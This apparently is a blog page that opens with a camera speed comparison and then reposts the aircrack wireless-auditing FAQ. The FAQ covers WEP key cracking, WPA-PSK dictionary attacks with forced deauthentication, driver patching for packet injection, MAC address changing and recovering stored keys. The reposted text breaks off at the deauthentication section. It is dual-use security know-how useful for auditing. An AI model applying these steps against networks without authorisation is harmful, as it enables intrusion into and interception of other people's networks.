Shooting speed (in seconds)
(Shorter bars indicate better performance)

Time to first shot

Typical shot-to-shot time

Shutter lag (dim)

Shutter lag (typical)

Nikon Coolpix S8100

1.1

1.5

0.7

0.4

Panasonic Lumix DMC-ZS10

1.9

1.1

0.7

0.4

Sony Cyber-shot DSC-HX5V

1.8

1.5

0.8

0.4

Canon PowerShot SD4500 IS

2.9

2.3

0.8

0.6

Panasonic Lumix DMC-ZS7

2.3

2.1

0.6

Typical continuous-shooting speed
(Longer bars indicate better performance)

Nikon Coolpix S8100

Sony Cyber-shot DSC-HX5V

Canon PowerShot SD4500 IS

3.6

Panasonic Lumix DMC-ZS10

3.2

Panasonic Lumix DMC-ZS7

1.7

Read more: http://reviews.cnet.com/digital-cameras/panasonic-lumix-dmc-zs10/4505-6501_7-34505718.html#ixzz1FU9MuIY2

aircrack - set of tools for auditing wireless networks

2011-03-02T14:18:00.000-08:00

What is aircrack ?

aircrack is a set of tools for auditing wireless networks:
airodump: 802.11 packet capture program
aireplay: 802.11 packet injection program
aircrack: static WEP and WPA-PSK key cracker
airdecap: decrypts WEP/WPA capture files
This document has been translated in spanish language (thanks to ShaKarO).

Is there an aircrack discussion forum ?

Sure: http://100h.org/forums/. Also, check out #aircrack on irc.freenode.net

Where to download aircrack ?

The official download location is http://www.cr0.net:8040/code/network/. However, if you can't access port 8040 for some reason, you may use this mirror instead: http://100h.org/wlan/aircrack/.
Aircrack is included in the Troppix LiveCD, which features { Prism2 / PrismGT / Realtek / Atheros / Ralink } drivers patched for packet injection, as well as the acx100, ipw2200 (Centrino) and zd1211 drivers.

It says "cygwin1.dll not found" when I start aircrack.exe.

You can download this library from: http://100h.org/wlan/aircrack/.
To use aircrack, drag&drop your .cap or .ivs capture file(s) over aircrack.exe. If you want to pass options to the program you'll have to start a shell (cmd.exe) and manually type the command line; there is also a GUI for aircrack, developed by hexanium.
Example:
C:\TEMP> aircrack.exe -n 64 -f 8 out1.cap out2.cap ...
See below for a list of options.

How do I crack a static WEP key ?

The basic idea is to capture as much encrypted traffic as possible using airodump. Each WEP data packet has an associated 3-byte Initialization Vector (IV): after a sufficient number of data packets have been collected, run aircrack on the resulting capture file. aircrack will then perform a set of statistical attacks developped by a talented hacker named KoreK.

How do I know my WEP key is correct ?

There are two authentication modes for WEP:

Open-System Authentication: this is the default mode. All clients are accepted by the AP, and the key is never checked: association is always granted. However if your key is incorrect you won't be able to receive or send packets (because decryption will fail), so DHCP, ping etc. will timeout.
Shared-Key Authentication: the client has to encrypt a challenge before association is granted by the AP. This mode is flawed and leads to keystream recovery, so it's never enabled by default.

In summary, just because you seem to have successfully connected to the access point doesn't mean your WEP key is correct ! To check your WEP key, try to decrypt a capture file with the airdecap program.

How many IVs are required to crack WEP ?

WEP cracking is not an exact science. The number of required IVs depends on the WEP key length, and it also depends on your luck. Usually, 40-bit WEP can be cracked with 300.000 IVs, and 104-bit WEP can be cracked with 1.000.000 IVs; if you're out of luck you may need two million IVs, or more.
There's no way to know the WEP key length: this information is kept hidden and never announced, either in management or data packets; as a consequence, airodump can not report the WEP key length. Thus, it is recommended to run aircrack twice: when you have 250.000 IVs, start aircrack with "-n 64" to crack 40-bit WEP. Then if the key isn't found, restart aircrack (without the -n option) to crack 104-bit WEP.

I can't seem to capture any IVs !

Possible reasons:
You are standing too far from the access point.
There is no traffic on the target wireless network.
There is some G traffic but you're capturing in B mode.
Something is wrong with your card (firmware problem ?)

By the way, beacons are just unencrypted announcement packets. They're totally useless for WEP cracking.

I've been unable to crack this AP !

Shit happens.

Why is there no Windows version of aireplay ?

The PEEK driver doesn't support 802.11 packet injection; I will not port aireplay on Win32. However, there are commercial alternatives:
Prism cards: http://www.tuca-software.com/transmit.php
Atheros cards: http://www.tamos.com/htmlhelp/commwifi/pgen.htm

Is my card compatible with airodump / aireplay ?

First of all, search Google to find which chipset your card has. For example, if you have a Linksys WPC54G search for "wpc54g chipset linux".

Chipset Supported by airodump for Windows ? Supported by airodump for Linux ? Supported by aireplay for Linux ?

HermesI YES (Agere driver) YES (patched orinoco driver) NO (firmware corrupts the MAC header)

Prism2/3 NO, but see LinkFerret for an alternative YES (HostAP or wlan-ng driver), STA firmware 1.5.6 or newer required YES (PCI and CardBus only, driver patching required)

PrismGT YES (PrismGT driver) FullMAC: YES (prism54 driver, SoftMAC: NOT YET (prism54usb) YES (driver patching recommended)

Atheros CardBus: YES (Atheros driver), PCI: NO (see CommView WiFi instead) YES (PCI and CardBus only, madwifi driver) YES (driver patching required)

RTL8180 YES (Realtek driver) YES (rtl8180-sa2400 driver) UNSTABLE (driver patching required)

Aironet YES? (Cisco driver) YES (airo driver, firmware 4.25.30 recommended) NO (firmware issue)

Ralink NO YES (rt2500 / rt2570 driver) YES (driver patching required)

Centrino b NO PARTIAL: the ipw2100 driver doesn't discard corrupted packets NO

Centrino b/g NO YES (ipw2200 driver, 1.0.6 recommended) NO (firmware drops packets)

Broadcom Old models only (BRCM driver) NOT YET (bcm43xx driver, Linux >= 2.6.14 required) NO

TI (ACX100 / ACX111) NO UNTESTED (acx100 driver) NO

ZyDAS 1201 NO YES (zd1211 driver) NO

Others (Marvel...) NO UNKNOWN NO

Chipset	Supported by airodump for Windows ?	Supported by airodump for Linux ?	Supported by aireplay for Linux ?
HermesI	YES (Agere driver)	YES (patched orinoco driver)	NO (firmware corrupts the MAC header)
Prism2/3	NO, but see LinkFerret for an alternative	YES (HostAP or wlan-ng driver), STA firmware 1.5.6 or newer required	YES (PCI and CardBus only, driver patching required)
PrismGT	YES (PrismGT driver)	FullMAC: YES (prism54 driver, SoftMAC: NOT YET (prism54usb)	YES (driver patching recommended)
Atheros	CardBus: YES (Atheros driver), PCI: NO (see CommView WiFi instead)	YES (PCI and CardBus only, madwifi driver)	YES (driver patching required)
RTL8180	YES (Realtek driver)	YES (rtl8180-sa2400 driver)	UNSTABLE (driver patching required)
Aironet	YES? (Cisco driver)	YES (airo driver, firmware 4.25.30 recommended)	NO (firmware issue)
Ralink	NO	YES (rt2500 / rt2570 driver)	YES (driver patching required)
Centrino b	NO	PARTIAL: the ipw2100 driver doesn't discard corrupted packets	NO
Centrino b/g	NO	YES (ipw2200 driver, 1.0.6 recommended)	NO (firmware drops packets)
Broadcom	Old models only (BRCM driver)	NOT YET (bcm43xx driver, Linux >= 2.6.14 required)	NO
TI (ACX100 / ACX111)	NO	UNTESTED (acx100 driver)	NO
ZyDAS 1201	NO	YES (zd1211 driver)	NO
Others (Marvel...)	NO	UNKNOWN	NO

The PEEK driver does not recognize my card.

Some cards are not recognized by the Windows drivers above, even though they have the correct chipset. In this case, open the hardware manager, select your card, "Update the driver", select "Install from a specific location", select "Don't search, I will choose the driver to install", click "Have disk", set the path to where the driver has been unzipped, uncheck "Show compatible hardware", and finally choose the driver.

I have a Prism2 card, but airodump / aireplay doesn't seem to work !

First step, make sure you aren't using the orinoco driver. If the interface name is wlan0, then the driver is HostAP or wlan-ng. However if the interface name is eth0 or eth1, then the driver is orinoco and you must disable the driver (use cardctl ident to know you card identifier, then edit /etc/pcmcia/config, replace orinoco_cs with hostap_cs and restart cardmgr).
Also, it can be a firmware problem. Old firmwares have trouble with test mode 0x0A (used by the HostAP / wlan-ng injection patches), so make sure yours is up to date -- see below for instructions. The recommended station firmware version is 1.7.4. If it doesn't work well (kismet or airodump stalls after capturing a couple of packets), try STA 1.5.6 instead (either s1010506.hex for old Prism2 cards, or sf010506.hex for newer ones).
On a side note, test mode 0x0A is somewhat unstable with wlan-ng. If the card seems stuck, you will have to reset it, or use HostAP instead. Injection is currently broken on Prism2 USB devices w/ wlan-ng.
Note: a Windows XP driver for Prism2 cards with WPA/TKIP support can be found here: http://100h.org/wlan/winxp/wpc11v3.0_wpa_dr.exe.

I have an Atheros card, and the madwifi patch crashes the kernel /
aireplay keeps saying enhanced RTC support isn't available.

There are quite a few problems with some versions of the Linux 2.6 branch (especially before 2.6.11 was released) that will cause a kernel panic when injecting with madwifi. Also, on many 2.6 kernels enhanced RTC support is just broken. Thus, is it highly recommended to use either Linux 2.6.11.x or newer.

How do I update my Prism2 firmware ?

The simplest is to upgrade the firmware with WinUpdate - this requires to have the WPC11 driver v2.5 installed. Both can be found at: http://100h.org/wlan/linux/prism2/.
You may also update the firmware with patched HostAP (see below for instructions on how to patch and install HostAP). Alternatively, you may boot the Troppix Live CD (which already has a patched hostap driver and the prism2_srec utility).
Now that HostAP is loaded, you can check your firmware's primary and station version with this command:
# dmesg | grep wifi
hostap_cs: Registered netdevice wifi0
wifi0: NIC: id=0x800c v1.0.0
wifi0: PRI: id=0x15 v1.1.1  (primary firmware is 1.1.1)
wifi0: STA: id=0x1f v1.7.4  (station firmware is 1.7.4)
wifi0: registered netdevice wlan0
If the NIC id above is between 0x8002 and 0x8008, you have an old Prism2 and MUST use STA firmware version 1.5.6 (s1010506.hex). Otherwise, you should use PRI 1.1.1 / STA 1.7.4 which is the most stable firmware version for newer Prism2 cards. Do NOT use firmware 1.7.1 or 1.8.x, people have reported having trouble with them.
To update the firmware, you'll need prism2_srec from the hostap-utils package; if it's not present on your system, download and compile hostap-utils:
wget http://100h.org/wlan/linux/prism2/hostap-utils-0.4.0.tar.gz
tar -xvzf hostap-utils-0.4.0.tar.gz
cd hostap-utils-0.4.0
make
Some Prism2 cards have been restricted to a certain set of channels because of country regulation. You can activate all 14 channels with the following commands:
./prism2_srec wlan0 -D > pda; cp pda pda.bak
Edit pda and put 3FFF at offset 0104 (line 24)
Finally, download the firmware and flash your card. If the NIC id is between 0x8002 and 0x8008:
wget http://100h.org/wlan/linux/prism2/s1010506.hex
./prism2_srec -v -f wlan0 s1010506.hex -P pda
Otherwise:
wget http://100h.org/wlan/linux/prism2/pk010101.hex
wget http://100h.org/wlan/linux/prism2/sf010704.hex
./prism2_srec -v -f wlan0 pk010101.hex sf010704.hex -P pda
If you get the message "ioctl[PRISM2_IOCTL_HOSTAPD]: Operation not supported", the HostAP driver is not loaded and you must install it. If you get the message "ioctl[PRISM2_IOCTL_DOWNLOAD]: Operation not supported", then your HostAP driver has not been patched for non-volatile download support.

Which is the best card to buy ?

The best chipset nowadays is Atheros; it is very well supported under Linux, and also under Windows (PCMCIA/CardBus only). The latest madwifi patch makes it possible to inject raw 802.11 packets either in Managed and Monitor mode at arbitrary b/g speeds.
Ralink makes some nice b/g chipsets, and has been very cooperative with the open-source community to release GPL drivers. Packet injection is now fully supported under Linux on PCI/CardBus RT2500 cards, and also works on USB RT2570 devices.
Here's a list of recommended cards:

Card name Type Chipset Antenna Price Windows support Linux support

MSI PC54G2 PCI Ralink RP-SMA E30 No Yes

MSI CB54G2 CardBus Ralink Internal E30 No Yes

Linksys WMP54G v4 PCI Ralink RP-SMA E40 No Yes

Linksys WUSB54G v4 USB Ralink Internal E40 No Yes

D-Link DWL-G122 USB Ralink Internal E45 No Yes

Netgear WG111 USB PrismGT SoftMAC Internal E40 airodump No

Netgear WG311T PCI Atheros RP-SMA E50 CommView WiFi Yes

Netgear WG511T CardBus Atheros Internal E50 airodump Yes

Netgear WAG511 CardBus Atheros Internal E100 airodump Yes

Proxim 8470-WD CardBus Atheros MC + Int. E110 airodump Yes

Note: there are some cheaper models with a similar name (WG511, WG311 and DWL-G520+); those cards are not Atheros-based. Also, the Peek driver does not support recent Atheros cards, so you'll have to use CommView WiFi instead.

Card name	Type	Chipset	Antenna	Price	Windows support	Linux support
MSI PC54G2	PCI	Ralink	RP-SMA	E30	No	Yes
MSI CB54G2	CardBus	Ralink	Internal	E30	No	Yes
Linksys WMP54G v4	PCI	Ralink	RP-SMA	E40	No	Yes
Linksys WUSB54G v4	USB	Ralink	Internal	E40	No	Yes
D-Link DWL-G122	USB	Ralink	Internal	E45	No	Yes
Netgear WG111	USB	PrismGT SoftMAC	Internal	E40	airodump	No
Netgear WG311T	PCI	Atheros	RP-SMA	E50	CommView WiFi	Yes
Netgear WG511T	CardBus	Atheros	Internal	E50	airodump	Yes
Netgear WAG511	CardBus	Atheros	Internal	E100	airodump	Yes
Proxim 8470-WD	CardBus	Atheros	MC + Int.	E110	airodump	Yes

How do I use airodump for Windows ?

First of all, make sure that your card is compatible (see table above) and that you have installed the proper driver.
When running airodump, you should specify:
The network interface index number, which must be picked in the list displayed by airodump.
The network interface type ('o' for HermesI and Realtek, 'a' for Aironet, Atheros, Broadcom and PrismGT).
The channel number, between 1 and 14. You can also specify 0 to hop between all channels.
The output prefix. For example, if the prefix is "foo", then airodump will create foo.cap (captured packets) and foo.txt (CSV statistics). If foo.cap already exists, airodump will resume the capture session by appending the packets to it.
The "only IVs" flag. Specify 1 if you just want to save the IVs from WEP data packets. This saves space, but the resulting file (foo.ivs) will only be useful for WEP cracking.

To stop capturing packets, press Ctrl-C. You may get a blue screen, this is due to a bug in the PEEK driver not cleanly exiting monitor mode. Also, the capture file may be empty. The cause of this bug is unknown.

Why can't I compile airodump and aireplay on BSD / Mac OS X ?

Both airodump and aireplay sources are linux-specific. There are no plans to port them on any other operating system.

How do I use airodump for Linux ?

Before running airodump, you may start the airmon.sh script to list the detected wireless interfaces. It is possible, but not recommended, to run Kismet and airodump at the same time.
  usage: airodump   [channel] [IVs flag]

 Specify 0 as the channel to hop between 2.4 GHz channels.
 Set the optional IVs flag to 1 to only save the captured
 IVs - the resulting file is only useful for WEP cracking.

 If the gpsd daemon is running, airodump will retrieve and
 save the current GPS coordinates in text format.
You can convert a .cap / .dump file to .ivs format with the pcap2ivs program (linux only).

airodump keeps switching between WEP and WPA.

This is happening because your driver doesn't discard corrupted packets (that have an invalid CRC). If it's a Centrino b, it just can't be helped; go buy a better card. If it's a Prism2, try upgrading the firmware.

What's the meaning of the fields displayed by airodump ?

airodump will display a list of detected access points, and also a list of connected clients ("stations"). Here's an example screenshot using a Prism2 card with HostAP:

BSSID PWR Beacons # Data CH MB ENC ESSID

00:13:10:30:24:9C 46 15 3416 6 54. WEP the ssid
00:09:5B:1F:44:10 36 54 0 11 11 OPN NETGEAR

BSSID STATION PWR Packets Probes

00:13:10:30:24:9C 00:09:5B:EB:C5:2B 48 719 the ssid
00:13:10:30:24:9C 00:02:2D:C1:5D:1F 190 17 the ssid

Field Description

BSSID MAC address of the access point.

PWR Signal level reported by the card. Its signification depends on the driver, but as the signal gets higher you get closer to the AP or the station. If PWR == -1, the driver doesn't support signal level reporting.

Beacons Number of announcements packets sent by the AP. Each access point sends about ten beacons per second at the lowest rate (1M), so they can usually be picked up from very far.

# Data Number of captured data packets (if WEP, unique IV count), including data broadcast packets.

CH Channel number (taken from beacon packets). Note: sometimes packets from other channels are captured even if airodump is not hopping, because of radio interference.

MB Maximum speed supported by the AP. If MB = 11, it's 802.11b, if MB = 22 it's 802.11b+ and higher rates are 802.11g. The dot (after 54 above) indicates short preamble is supported.

ENC Encryption algorithm in use. OPN = no encryption, "WEP?" = WEP or higher (not enough data to choose between WEP and WPA), WEP (without the question mark) indicates static or dynamic WEP, and WPA if TKIP or CCMP is present.

ESSID The so-called "SSID", which can be empty if SSID hiding is activated. In this case, airodump will try to recover the SSID from probe responses and association requests.

STATION MAC address of each associated station. In the screenshot above, two clients have been detected (00:09:5B:EB:C5:2B and 00:02:2D:C1:5D:1F).

Field	Description
BSSID	MAC address of the access point.
PWR	Signal level reported by the card. Its signification depends on the driver, but as the signal gets higher you get closer to the AP or the station. If PWR == -1, the driver doesn't support signal level reporting.
Beacons	Number of announcements packets sent by the AP. Each access point sends about ten beacons per second at the lowest rate (1M), so they can usually be picked up from very far.
# Data	Number of captured data packets (if WEP, unique IV count), including data broadcast packets.
CH	Channel number (taken from beacon packets). Note: sometimes packets from other channels are captured even if airodump is not hopping, because of radio interference.
MB	Maximum speed supported by the AP. If MB = 11, it's 802.11b, if MB = 22 it's 802.11b+ and higher rates are 802.11g. The dot (after 54 above) indicates short preamble is supported.
ENC	Encryption algorithm in use. OPN = no encryption, "WEP?" = WEP or higher (not enough data to choose between WEP and WPA), WEP (without the question mark) indicates static or dynamic WEP, and WPA if TKIP or CCMP is present.
ESSID	The so-called "SSID", which can be empty if SSID hiding is activated. In this case, airodump will try to recover the SSID from probe responses and association requests.
STATION	MAC address of each associated station. In the screenshot above, two clients have been detected (00:09:5B:EB:C5:2B and 00:02:2D:C1:5D:1F).

How do I merge multiple capture files ?

You may use the mergecap program (part of the ethereal-common package or the win32 distribution):
mergecap -w out.cap test1.cap test2.cap test3.cap
.ivs files can be merged with the "mergeivs" program (linux only).

Can I use Ethereal to capture 802.11 packets ?

Under Linux, simply setup the card in monitor mode with the airmon.sh script. Under Windows, Ethereal can NOT capture 802.11 packets.

Can Ethereal decode WEP data packets ?

Yes. Go to Edit -> Preferences -> Protocols -> IEEE 802.11, select 1 in the "WEP key count" and enter your WEP key below.

How do I change my card's MAC address ?

Under linux: for example, if you have an Atheros card:
ifconfig ath0 down
ifconfig ath0 hw ether 00:11:22:33:44:55
ifconfig ath0 up
Under Windows, you may use macmakeup.

How do I use aircrack ?

Usage: aircrack [options]
You can specify multiple input files (either in .cap or .ivs format). Also, you can run both airodump and aircrack at the same time: aircrack will auto-update when new IVs are available.
Here's a summary of all available options:

Option Param. Description

-a amode Force attack mode (1 = static WEP, 2 = WPA-PSK).

-e essid If set, all IVs from networks with the same ESSID will be used. This option is also required for WPA-PSK cracking if the ESSID is not broadcasted (hidden).

-b bssid Select the target network based on the access point's MAC address.

-p nbcpu On SMP systems, set this option to the number of CPUs.

-q none Enable quiet mode (no status output until the key is found, or not).

-c none (WEP cracking) Restrict the search space to alpha-numeric characters only (0x20 - 0x7F).

-t none (WEP cracking) Restrict the search space to binary coded decimal hex characters.

-d start (WEP cracking) Set the beginning the WEP key (in hex), for debugging purposes.

-m maddr (WEP cracking) MAC address to filter WEP data packets. Alternatively, specify -m ff:ff:ff:ff:ff:ff to use all and every IVs, regardless of the network.

-n nbits (WEP cracking) Specify the length of the key: 64 for 40-bit WEP, 128 for 104-bit WEP, etc. The default value is 128.

-i index (WEP cracking) Only keep the IVs that have this key index (1 to 4). The default behaviour is to ignore the key index.

-f fudge (WEP cracking) By default, this parameter is set to 2 for 104-bit WEP and to 5 for 40-bit WEP. Specify a higher value to increase the bruteforce level: cracking will take more time, but with a higher likelyhood of success.

-k korek (WEP cracking) There are 17 korek statistical attacks. Sometimes one attack creates a huge false positive that prevents the key from being found, even with lots of IVs. Try -k 1, -k 2, ... -k 17 to disable each attack selectively.

-x none (WEP cracking) Enable bruteforcing of the last two keybytes.

-y none (WEP cracking) This is an experimental single bruteforce attack which should only be used when the standard attack mode fails with more than one million IVs.

-w words (WPA cracking) Path to a wordlist.

Option	Param.	Description
-a	amode	Force attack mode (1 = static WEP, 2 = WPA-PSK).
-e	essid	If set, all IVs from networks with the same ESSID will be used. This option is also required for WPA-PSK cracking if the ESSID is not broadcasted (hidden).
-b	bssid	Select the target network based on the access point's MAC address.
-p	nbcpu	On SMP systems, set this option to the number of CPUs.
-q	none	Enable quiet mode (no status output until the key is found, or not).
-c	none	(WEP cracking) Restrict the search space to alpha-numeric characters only (0x20 - 0x7F).
-t	none	(WEP cracking) Restrict the search space to binary coded decimal hex characters.
-d	start	(WEP cracking) Set the beginning the WEP key (in hex), for debugging purposes.
-m	maddr	(WEP cracking) MAC address to filter WEP data packets. Alternatively, specify -m ff:ff:ff:ff:ff:ff to use all and every IVs, regardless of the network.
-n	nbits	(WEP cracking) Specify the length of the key: 64 for 40-bit WEP, 128 for 104-bit WEP, etc. The default value is 128.
-i	index	(WEP cracking) Only keep the IVs that have this key index (1 to 4). The default behaviour is to ignore the key index.
-f	fudge	(WEP cracking) By default, this parameter is set to 2 for 104-bit WEP and to 5 for 40-bit WEP. Specify a higher value to increase the bruteforce level: cracking will take more time, but with a higher likelyhood of success.
-k	korek	(WEP cracking) There are 17 korek statistical attacks. Sometimes one attack creates a huge false positive that prevents the key from being found, even with lots of IVs. Try -k 1, -k 2, ... -k 17 to disable each attack selectively.
-x	none	(WEP cracking) Enable bruteforcing of the last two keybytes.
-y	none	(WEP cracking) This is an experimental single bruteforce attack which should only be used when the standard attack mode fails with more than one million IVs.
-w	words	(WPA cracking) Path to a wordlist.

Could you implement a resume option in aircrack ?

There are no plans to implement this feature.

How can I crack a WPA-PSK network ?

You must sniff until a handshake takes place between a wireless client and the access point. To force the client to reauthenticate, you can start a deauth attack with aireplay. Also, a good dictionary is required; see
http://ftp.se.kde.org/pub/security/tools/net/Openwall/wordlists/
FYI, it's not possible to pre-compute large tables of Pairwise Master Keys like rainbowcrack does, since the passphrase is salted with the ESSID.

Will WPA be cracked in the future ?

It's extremely unlikely that WPA will be cracked just like WEP was.
The major problem with WEP is that the shared key is appended to the IV; the result is directly used to feed RC4. This overly simple construction is prone to a statistical attack, since the first ciphertext bytes are strongly correlated with the shared key (see Andrew Roos' paper). There are basically two counter-measures against this attack: 1. mix the IV and the shared key using a hash function or 2. discard the first 256 bytes of RC4's output.
There has been some disinformation in the news about the "flaws" of TKIP:
For now, TKIP is reasonably secure but it is also living on borrowed time since it still relies on the same RC4 algorithm that WEP relied on.

Actually, TKIP (WPA1) is not vulnerable: for each packet, the 48-bit IV is mixed with the 128-bit pairwise temporal key to create a 104-bit RC4 key, so there's no statistical correlation at all. Furthermore, WPA provides counter-measures against active attacks (traffic reinjection), includes a stronger message integrity code (michael), and has a very robust authentication protocol (the 4-way handshake). The only vulnerability so far is a dictionnary attack, which fails if the passphrase is robust enough.
WPA2 (aka 802.11i) is exactly the same as WPA1, except that CCMP (AES in counter mode) is used instead of RC4 and HMAC-SHA1 is used instead of HMAC-MD5 for the EAPOL MIC. Bottom line, WPA2 is a bit better than WPA1, but neither are going to be cracked in the near future.

I have more than one million IVs, but aircrack doesn't find the key !

Possible reasons:
Out of luck: you must capture more IVs. Usually, 104-bit WEP can be cracked with about one million IVs, but sometimes more IVs are needed.

If all votes seem equal, or if there are many negative votes, then the capture file is corrupted, or the key is not static (EAP/802.1X in use ?).

A false positive prevented the key from being found. Try to disable each korek attack (-k 1 .. 17), raise the fudge factor (-f) or try the experimental bruteforce attacks (-x / -y).

I've found the key, how do I decrypt a capture file ?

You may use the airdecap program:

  usage: airdecap [options] 

     -l       : don't remove the 802.11 header
     -b bssid : access point MAC address filter
     -k pmk   : WPA Pairwise Master Key in hex
     -e essid : target network ascii identifier
     -p pass  : target network WPA passphrase
     -w key   : target network WEP key in hex

 examples:

 airdecap -b 00:09:5B:10:BC:5A open-network.cap
 airdecap -w 11A3E229084349BC25D97E2939 wep.cap
 airdecap -e 'the ssid' -p passphrase  tkip.cap

How do I recover my WEP key in Windows ?

You may use the WZCOOK program which recovers WEP keys from XP's Wireless Zero Configuration utility. This is experimental software, so it may or may not work depending on your service pack level.

Does WZCOOK also recovers WPA keys ?

WZCOOK will display the PMK (Pairwise Master Key), a 256-bit value which is the result of the passphrase hashed 8192 times together with the ESSID and the ESSID length. The passphrase itself can't be recovered -- however, knowing the PMK is enough to connect to a WPA-protected wireless network with wpa_supplicant (see the Windows README). Your wpa_supplicant.conf configuration file should look like:
network={
ssid="my_essid"
pmk=5c9597f3c8245907ea71a89d[...]9d39d08e
}

How do I patch the driver for injection with aireplay ?

As of now, aireplay only supports injection on Prism2, PrismGT (FullMAC), Atheros, RTL8180 and Ralink. Injection on Centrino, Hermes, ACX1xx, Aironet, ZyDAS, Marvell and Broadcom is not supported because of firmware and/or driver limitations.
Injection on Prism2 and Atheros is still pretty much experimental; if your card appears to hang (no packets captured or injected), disable the interface, reload the drivers and re-insert the card. Also consider updating the firmware (if Prism2).
All drivers must be patched so as to support injection in Monitor mode. You will need linux headers that match your current running kernel; if not, you will have to download the linux source and compile a custom kernel.
If you have trouble patching and compiling stuff, you may want to use the Troppix LiveCD, which includes patched device drivers.
Installing the madwifi driver (Atheros cards)
Note 1: you'll need uudecode from the sharutils package.
Note 2: the 20051025 patch should also work with newer version of the madwifi CVS.
Note 3: if you use wpa_supplicant, you should recompile it (older versions are not compatible with the current madwifi CVS), and make sure CONFIG_DRIVER_MADWIFI=y is uncommented in config.h.
Note 4: with the current madwifi, it is no longer needed to run "iwpriv ath0 mode 2", since the driver allows injection in mode 0 using the new athXraw interface.

Allowed modes Physical medium

Mode 0 Automatic (a/b/g)

Mode 1 802.11a only

Mode 2 802.11b only

Mode 3 802.11g only
ifconfig ath0 down
rmmod wlan_wep ath_rate_sample ath_rate_onoe \
     ath_pci wlan ath_hal 2>/dev/null

find /lib/modules -name 'ath*'  -exec rm -v {} \; 2>/dev/null
find /lib/modules -name 'wlan*' -exec rm -v {} \; 2>/dev/null
cd /usr/src
wget http://100h.org/wlan/linux/atheros/madwifi-cvs-20051025.tgz
wget http://100h.org/wlan/linux/patches/madwifi-cvs-20051025.patch
tar -xvzf madwifi-cvs-20051025.tgz
cd madwifi-cvs-20051025
patch -Np1 -i ../madwifi-cvs-20051025.patch
make KERNELPATH=/usr/src/linux-
make install
modprobe ath_pci
It is now possible to set the transmit rate with madwifi (and also rt2570). The recommended rate is 5.5 Mbps, but you can lower it or raise it, depending on your distance from the AP. For example:
iwconfig ath0 rate 24M
Modulation Allowed rates

DSSS / CCK 1M, 2M, 5.5M, 11M

OFDM (a/g) 6M, 9M, 12M, 24M, 36M, 48M, 54M

When using attacks 2, 3 and 4, changing the number of packets per second sent by aireplay (option -x) sometimes helps getting better results; the default is 500 pps.
Installing the prism54 driver (PrismGT FullMAC cards)
ifconfig eth1 down
rmmod prism54

cd /usr/src
wget http://100h.org/wlan/linux/prismgt/prism54-svn-20050724.tgz
wget http://100h.org/wlan/linux/patches/prism54-svn-20050724.patch
tar -xvzf prism54-svn-20050724.tgz
cd prism54-svn-20050724
patch -Np1 -i ../prism54-svn-20050724.patch
make modules && make install
wget http://100h.org/wlan/linux/prismgt/1.0.4.3.arm
mkdir -p /usr/lib/hotplug/firmware
mkdir -p /lib/firmware
cp 1.0.4.3.arm /usr/lib/hotplug/firmware/isl3890
mv 1.0.4.3.arm /lib/firmware/isl3890
depmod -a
Installing the HostAP driver (Prism2 cards)
ifconfig wlan0 down
wlanctl-ng wlan0 lnxreq_ifstate ifstate=disable
/etc/init.d/CardBus stop
rmmod prism2_pci
rmmod hostap_pci

cd /usr/src
wget http://100h.org/wlan/linux/prism2/hostap-driver-0.4.5.tar.gz
wget http://100h.org/wlan/linux/patches/hostap-driver-0.3.9.patch
tar -xvzf hostap-driver-0.4.5.tar.gz
cd hostap-driver-0.4.5
patch -Np1 -i ../hostap-driver-0.3.9.patch
make && make install
mv -f /etc/pcmcia/wlan-ng.conf /etc/pcmcia/wlan-ng.conf~
/etc/init.d/pcmcia start
modprobe hostap_pci &>/dev/null
Installing the wlan-ng driver (Prism2 cards)
Important note: when the card is inserted, wlan-ng will flash the firmware in RAM (volatile download) with versions PRI 1.1.4 and STA 1.8.3. Many users experienced problems with this operation, so in any case it's safer to just use hostap instead. Furthermore, HostAP works more reliably and supports iwconfig whereas wlan-ng doesn't.
ifconfig wlan0 down
wlanctl-ng wlan0 lnxreq_ifstate ifstate=disable
/etc/init.d/pcmcia stop
rmmod prism2_pci
rmmod hostap_pci
find /lib/modules $ -name p80211* -o -name prism2* $ \
   -exec rm -v {} \;

cd /usr/src
wget http://100h.org/wlan/linux/prism2/wlanng-0.2.1-pre26.tar.gz
wget http://100h.org/wlan/linux/patches/wlanng-0.2.1-pre26.patch
tar -xvzf wlanng-0.2.1-pre26.tar.gz
cd wlanng-0.2.1-pre26
patch -Np1 -i ../wlanng-0.2.1-pre26.patch
make config && make all && make install
mv /etc/pcmcia/hostap_cs.conf /etc/pcmcia/hostap_cs.conf~
/etc/init.d/pcmcia start
modprobe prism2_pci &>/dev/null
Installing the r8180-sa2400 driver (RTL8180 cards)
ifconfig wlan0 down
rmmod r8180

cd /usr/src
wget http://100h.org/wlan/linux/rtl8180/rtl8180-0.21.tar.gz
wget http://100h.org/wlan/linux/patches/rtl8180-0.21.patch
tar -xvzf rtl8180-0.21.tar.gz
cd rtl8180-0.21
patch -Np1 -i ../rtl8180-0.21.patch
make && make install
depmod -a
modprobe r8180
Installing the rt2500 driver (Ralink b/g PCI/CardBus)
ifconfig ra0 down
rmmod rt2500

cd /usr/src
wget http://100h.org/wlan/linux/ralink/rt2500-cvs-20051112.tgz
tar -xvzf rt2500-cvs-20051112.tgz
cd rt2500-cvs-20051112
cd Module
make && make install
modprobe rt2500
Make sure to load the driver with modprobe (not insmod) and to put the card in Monitor mode before bringing the interface up.
Installing the rt2570 driver (Ralink b/g USB)
ifconfig rausb0 down
rmmod rt2570

cd /usr/src
wget http://100h.org/wlan/linux/ralink/rt2570-cvs-20051112.tgz
tar -xvzf rt2570-cvs-20051112.tgz
cd rt2570-cvs-20051112
cd Module
make && make install
modprobe rt2570

Allowed modes	Physical medium
Mode 0	Automatic (a/b/g)
Mode 1	802.11a only
Mode 2	802.11b only
Mode 3	802.11g only

Modulation	Allowed rates
DSSS / CCK	1M, 2M, 5.5M, 11M
OFDM (a/g)	6M, 9M, 12M, 24M, 36M, 48M, 54M

The driver won't compile.

This usually happens because the linux headers don't match your current running kernel. In this situation, just recompile a fresh kernel, install it and reboot. Then, try again compiling the driver.
See this HOWTO for more details about kernel compilation.

How do I use aireplay ?

If the driver was properly patched, aireplay is able to inject raw 802.11 packets in Monitor mode; it currently implements a set of five different attacks.
If you get "ioctl(SIOCGIFINDEX) failed: No such device", double check that your device name is correct and that you haven't forgotten a parameter on the command line.
In the following examples, 00:13:10:30:24:9C is the MAC address of the access point (on channel 6), and 00:09:5B:EB:C5:2B is the MAC address of a wireless client.
Attack 0: deauthentication
